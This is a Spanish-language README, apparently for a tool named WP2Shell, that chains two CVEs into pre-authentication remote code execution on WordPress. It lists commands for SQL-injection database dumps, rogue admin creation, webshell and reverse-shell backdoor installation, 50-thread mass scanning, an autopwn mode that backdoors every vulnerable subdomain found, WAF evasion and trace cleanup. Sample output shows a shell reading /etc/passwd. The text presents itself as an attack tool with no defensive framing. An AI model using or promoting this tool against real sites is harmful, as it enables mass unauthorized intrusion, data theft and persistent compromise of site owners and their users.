WP2Shell - Exploit de RCE Pre-Auth de WordPress

CVE-2026-63030 + CVE-2026-60137
Versión: 4.0.0
Autor: G0D150NE

📌 Descripción general

WP2Shell es una herramienta de explotación de cadena completa para la ejecución remota de código pre-autenticación en WordPress. Combina dos vulnerabilidades críticas:

CVE-2026-63030 - Inyección SQL en el endpoint Batch de la API REST
CVE-2026-60137 - Omisión de autenticación mediante envenenamiento de caché oEmbed

Esta herramienta permite comprometer por completo instalaciones vulnerables de WordPress sin ninguna autenticación, desde la detección hasta la RCE completa y la persistencia.

⚡ Características

🔍 Comprobación no destructiva - Confirmación segura de vulnerabilidad
📊 Extracción multitécnica - UNION, basada en errores, SQLi ciega
🚀 Cadena RCE completa - De la SQLi a la creación de una cuenta de administrador
🐚 Despliegue de webshell - Puerta trasera oculta basada en plugin
🧹 Capacidad de limpieza - Elimina todos los rastros
📡 Escaneo masivo - Escáner con hilos para múltiples objetivos
🤖 Modo autopwn - Descubrimiento de subdominios + explotación automática
🌐 Rotación de proxies - Soporte para proxies rotativos
🕵️ Modo sigiloso - Retardos aleatorios y técnicas de evasión de WAF

🔧 Instalación

# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell

# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py

🎯 Uso

Estructura de comandos

python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]

Comandos disponibles

Comando	Descripción
`check`	Confirmación no destructiva de vulnerabilidad
`read`	Extrae datos mediante inyección SQL
`exploit`	Cadena RCE completa pre-autenticación
`shell`	Despliega webshell con credenciales existentes
`masscan`	Escaneo masivo de múltiples objetivos
`autopwn`	Descubrimiento automático → escaneo → explotación

🚀 Ejemplos

1. Comprobación de vulnerabilidad

python3 wp2shell.py check https://target.com

python3 wp2shell.py check https://target.com --confirm-timing --sleep 5

2. Extracción de datos

Huella básica:

python3 wp2shell.py read https://target.com

Extraer usuarios:

python3 wp2shell.py read https://target.com --preset users

Consulta personalizada:

python3 wp2shell.py read https://target.com --query "SELECT @@version"

Volcar toda la base de datos:

python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096

3. Explotación completa

Explotación básica:

python3 wp2shell.py exploit https://target.com

Explotación con shell interactivo:

python3 wp2shell.py exploit https://target.com --interactive

Explotación con instalación de puerta trasera:

python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444

Explotación con volcado de base de datos:

python3 wp2shell.py exploit https://target.com --dumpdb

Explotación con limpieza (eliminar rastros):

python3 wp2shell.py exploit https://target.com --cleanup

4. Uso de credenciales de administrador existentes

python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive

python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"

5. Escaneo masivo

# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv

6. Modo Autopwn (automatización completa)

python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100

Esto hará lo siguiente:

Descubrir subdominios mediante crt.sh
Identificar instalaciones de WordPress
Explotar todos los sitios vulnerables
Instalar puertas traseras en los objetivos con éxito

🎮 Shell interactivo

Tras la explotación, obtienes un shell interactivo completo:

python3 wp2shell.py exploit https://target.com -i

[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit

🛡️ Referencia de opciones

Opciones comunes

Opción	Descripción
`--timeout`	Tiempo de espera HTTP en segundos (predeterminado: 30)
`--proxies`	Lista de proxies separada por comas (p. ej., http://127.0.0.1:8080)
`--stealth`	Habilita el modo sigiloso con retardos aleatorios
`-v, --verbose`	Habilita la salida de depuración
`-q, --quiet`	Suprime el banner y los mensajes informativos

Opciones del comando read

Opción	Descripción
`--prefix`	Prefijo de tabla (predeterminado: wp_)
`--auto-prefix`	Descubre automáticamente el prefijo de tabla
`--max-length`	Máximo de caracteres por valor (predeterminado: 128)
`--technique`	Técnica de extracción: auto/union/error/blind
`--preset`	Preajuste de datos: fingerprint/users/dumpall
`--query`	Expresión SQL arbitraria para extraer

Opciones del comando exploit

Opción	Descripción
`--prefix`	Prefijo de tabla (predeterminado: wp_)
`--no-discover`	Omite el descubrimiento automático, usa los valores predeterminados
`-i, --interactive`	Accede a un shell tras la explotación
`-c, --command`	Ejecuta un único comando tras la explotación
`--backdoor`	Instala una puerta trasera de persistencia
`--lhost`	LHOST para el shell inverso (predeterminado: 10.0.0.1)
`--lport`	LPORT para el shell inverso (predeterminado: 4444)
`--dumpdb`	Vuelca la base de datos tras la explotación
`--cleanup`	Elimina el usuario creado y la webshell al salir

🔬 Detalles técnicos

Cadena de vulnerabilidades

Inyección SQL (CVE-2026-63030)
- Ocurre en el endpoint /wp-json/batch/v1
- El parámetro author_exclude es vulnerable a SQLi ciega basada en tiempo
- Permite extracción basada en UNION y en errores
Omisión de autenticación (CVE-2026-60137)
- Envenenamiento de caché oEmbed mediante el parámetro /_embed
- Permite crear usuarios administradores mediante el changeset del personalizador
- Activa la cadena de reentrada para la creación de cuentas privilegiadas

Versiones de WordPress compatibles

Versión	Estado
6.9.0	✅ Vulnerable
6.9.1	✅ Vulnerable
6.9.2	✅ Vulnerable
6.9.3	✅ Vulnerable
6.9.4	✅ Vulnerable
7.0.0	✅ Vulnerable
7.0.1	✅ Vulnerable
≥ 7.0.2	❌ Parcheada

Técnicas de extracción

Técnica	Velocidad	Tamaño de datos	Requisitos
UNION	⚡ Muy rápida	Ilimitado	El objetivo no debe filtrar UNION
Error	🚀 Rápida	~30 caracteres/solicitud	El objetivo debe exponer mensajes de error
Blind	🐢 Lenta	Ilimitado	Oráculo booleano disponible

📊 Ejemplos de salida

Explotación exitosa

░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░      ░▒▓█▓▒░        
                                                                                                                                                                                                                            
  CVE-2026-63030 + CVE-2026-60137
  WordPress Pre-Auth RCE  [v4.0.0]
  + G0D150NE

[1/7] Reconnaissance
  Target: https://target.com
  WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)

WP2Shell

Más Populares